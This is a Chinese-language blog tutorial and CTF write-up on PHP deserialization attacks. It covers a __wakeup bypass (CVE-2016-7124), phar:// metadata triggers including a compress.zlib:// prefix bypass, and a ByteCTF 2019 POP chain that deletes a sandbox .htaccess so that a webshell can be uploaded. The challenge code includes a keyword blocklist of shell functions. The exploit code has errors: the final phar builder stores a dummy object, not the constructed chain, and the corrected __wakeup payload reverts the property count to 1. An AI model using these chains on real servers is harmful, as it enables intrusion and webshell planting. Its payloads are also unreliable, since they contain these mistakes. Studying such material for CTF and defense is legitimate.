TOP10之反序列化

前言

虽然php反序列化的文章,网上一搜一大把,但是我还是想记录下,方便以后忘了自己在回头来看。

反序列化是什么?

通俗的来说:

  • 序列化是将变量转换为可保存或传输的字符串的过程;
  • 反序列化就是在适当的时候把这个字符串再转化成原来的变量使用;
  • 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性;
  • 序列化有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

通常在使用反序列化时都会涉及这两个函数serialize()unserialize()

<?
class no{
    private $name='NNULLULL';
    private $age='20';
    private $class='no.1';
}
$no=new no;
$test=serialize($no);
echo $test;
?>

//O:2:"no":3:{s:8:"noname";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";}

因为是private所以进行反序列化时需要在类名旁加%00.例如O:2:"no":3:{s:8:"%00no%00name";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";}.这也解释了为什么是8个字符。

如果是protected,则进行序列化出来的东西是O:2:"no":3:{s:8:"*name";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";},而进行反序列化的东西要在*两端加上%00。例如O:2:"no":3:{s:8:"%00*%00name";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";}

而如果是public则没有变化。

为什么使用php反序列化

通俗来讲:php的序列化就是为了储存数据。为了解决php对象传递的问题,PHP 文件在执行结束以后就会将对象销毁。而序列化就是为了解决这个问题,为了长久的保存对象,下一次使用对象就很方便了。

反序列化的魔术方法

__construct()//创建对象时触发

__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__sleep() //执行serialize时调用
__wakeup() //执行unserialize时调用
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

先来举几个例子:

<?php
class SoFun{
    protected $file='flag.php';
    function __construct(){
        echo '__construct';
        echo "</br>";
    }
    function __sleep(){
        echo '__sleep';
        echo "</br>";
        return array("file");
    }
    function __wakeup(){
        echo '__wakeup';
        echo "</br>";
    }
    function __destruct(){
        echo '__destruct';
        echo "</br>";
    }
    function  __toString(){
        return '__toString'."</br>";
    }
}
$a=new SoFun;
$data=serialize($a);
$data1=unserialize($data);
echo $data1;
?>

Alt text
上面写了魔术方法的作用,所以不在做解释了。

反序列化CTF题

绕过wakeup

引用一道ctf反序列化绕过wakeup的题

<?php 
    error_reporting(0); 
    class sercet{ 
        private $file='index.php'; 
         
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            echo show_source($this->file,true); 
        } 
         
        function __wakeup(){ 
            $this->file='index.php'; 
            echo 'nononononono';
        } 
    } 
     
    $cmd=cmd00; 
    if (!isset($_GET[$cmd])){ 
        echo show_source('index.php',true); 
    } 
    else{ 
        $cmd=base64_decode($_GET[$cmd]); 
        if (preg_match('/flag/i',$cmd)){ 
            echo "Are u gaoshing?"; 
        } 
        else{ 
            unserialize($cmd); 
        } 
    }
?> 
//sercet in the_next.php

我们分析源码,我们的目的是得到the_next.php文件中的内容.
反序列化的触发点是在最后一个else{unserialize($cmd)}因为要调用unserialize函数,所以当执行代码时会调用__wakeup()魔术方法。而执行__wakeup()方法时,有会将file直接指向我们的index.php而我们的目的是读取the_next.php文件,所以在这里我们需要绕过wakeup();
那么问题来了怎么绕过wakeup()魔术变量呢?
这个就涉及到了CVE-2016-7124了。
当成员属性数目大于实际数目时即可绕过。
于是我们的poc如下:

<?php
    class sercet{ 
        private $file='index.php';
        function __construct(){
            $this->file='the_next.php';
        }
    } 
    $test = new sercet();
    echo serialize($test); 

得到O:6:"sercet":1:{s:12:"sercetfile";s:12:"the_next.php";}
但我们需要属性数目大于实际数目,所以这里我们需要修改为O:6:"sercet":2:{s:12:"sercetfile";s:12:"the_next.php";}

又因为是private属性,所以要在类名前加%00.所以O:6:"sercet":1:{s:12:"%00sercet%00file";s:12:"the_next.php";}
最后base64传进去就可以了。

Phar反序列化

1,phar的文件结构

phar文件的核心必须要有

  • a stub
  • a mainfest describing the contents
  • the file content
  • a signature
  1. stub

    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。这部分的目的就是让 phar 扩展识别这是一个标准的 phar 文件xxx可以为自定义内容。
  2. manifest

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
  3. content

    这部分就是我们想要压缩在 phar 压缩包内部的文件
  4. signature (可空)

    签名,放在末尾。
    

2,创建一个Phar压缩文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注:生成phar文件需要将php.ini里面的phar.readonly选项设置为Off。并把分号去掉。保存并重启php.
Alt text
后发现在目录下生成了一个phar.phar文件。
16进制打开后,发现已经将class TestObject序列化。
Alt text
自写一个验证代码,看是否执行phar反序列化

<?php 
    class TestObject {
        public function __destruct() {
            echo 'success';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>                                                                                                                                                                                                                                                                                                                                                                                                          

发现成功执行

Alt text

phar受影响的文件操作函数

1
关于这些受影响的函数,其触发原理可以参考这篇文章:https://blog.zsxsoft.com/post/38

php实战

绕过头字符的phar://

如果在ctf比赛中或者在其他的什么中,phar://不能出现在头几个字符,我们该怎么办?
这时候我们可以利用compress.zlib://compress.bzip2://函数,compress.zlib://compress.bzip2://同样适用于phar://
代码如下

<?php 
    class TestObject {
        public function __destruct() {
            echo 'compress.zlib6666~';
        }
    }

    $filename = 'compress.zlib://phar://phar.phar/test.txt';
    @file_get_contents($filename); 
?>

成功执行。
a

Postgres

再来个数据库吧!

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

MySQL

我们注意到,LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper. 让我们测试一下。

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再配置一下mysqld。(这不是默认配置)

[mysqld]
local-infile=1
secure_file_priv=""

即可成功。

phar原生类序列化问题

假设我们有一个上传类如下

<?php
class Upload{
    function upload($filename, $content){
        //这是一个你不能修改的文件, prprprpr
    }
    function open($filename, $content){
        //你还是不能修改, lololololol
    }
}

这个上传类被.htaccess文件控制的很死,难以上传我们的小马,即使成功上传了,也不能执行,只有删除了.htaccess文件才可以,那么我们要怎么利用呢?
在这里我们可以利用ZipArchive::open从而去删除.htaccess文件

刚好在今年2019的bytectf上的eacms就考了这个点。
view.php

<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);   //调用File类
$res = $file->view_detail();                //调用view_detail方法
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
?>

config.php

<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']); // sandbox + md5(ip)
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

# 52107b08c0f3342d2153ae1d68e6262c

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{ // 检查一些关键字
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);

        $black_list = ['system','eval','exec','+','passthru','`','assert']; // 检查了文件中的一些关键字

        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }

        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }   
        $mine = mime_content_type($this->filepath); //这里可以触发phar反序列化
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()   //类被销毁时自动触发
    {
        if (isset($this->checker)){
            $this->checker->upload_file();   //调用upload_file()方法
        }
    }
}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;

        $this->content_check = new Check($this->file_tmp);

        $profile = new Profile();

        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp); // 
        if ($this->size > 204800){
            die("your file is too big");
        }
        # 
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){

        //从SESSION当中取用户名和密码
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];

        $secret = "********";

        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments) //当调用不存在的方式时触发
    {
        $this->admin->open($this->username, $this->password); //这里作为
    }
}
?>

这道题开头考了个哈希长度拓展攻击,我们这里就不叙述了。
成功登陆后是一个文件上传点,并且已知道了存在.htaccess文件。
因为.htacess文件会控制上传后的文件,所以我们这里的做法是先通过一个方法删除.htaccess,然后再上传。
我们先看view.php首先调用了File类中的view_detail方法。
我们跟进File类,发现mime_content_type其中有对文件的读取操作,所以在这里可以触发Phar反序列化。

1

因为有触发反序列化的点,于是我们去看看关于反序列化的魔术方法。

1
追踪到upload_file函数时,里面有个check方法。
在Profile类中还有个方法调用了__Call魔术变量。__Call在对象上下文中调用不可访问的方法时触发.
在Admin类中发现了 $profile = new Profile();因为没有Profile类,所以触发了__Call魔术方法。在__Call方法中可以使用原生类反序列化。
于是我们构造我们的POP链。

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }
}
class Profile{

    public $username;
    public $password;
    public $admin;
    function __construct()
    {
        $this->username = "./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
        $this->password = "ZipArchive::OVERWRITE";
        $this->admin = new ZipArchive();
    }
}
$a = new File("NNULLLULL", "NNULLLULL");
class TestObject {
    }

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传后,.htaccess文件就被删除了,这时候在重新上传一个文件直接蚁剑连接即可了。

session反序列化

在了解phpsession反序列化之前我们先了解这几个参数

参考文章:
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0X01-%E4%BB%80%E4%B9%88%E6%98%AF%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

https://xz.aliyun.com/t/3674#toc-13

https://xz.aliyun.com/t/6454#toc-4

https://blog.zsxsoft.com/post/38

最后修改:2019 年 11 月 13 日 11 : 17 PM
如果觉得我的文章对你有用,请随意赞赏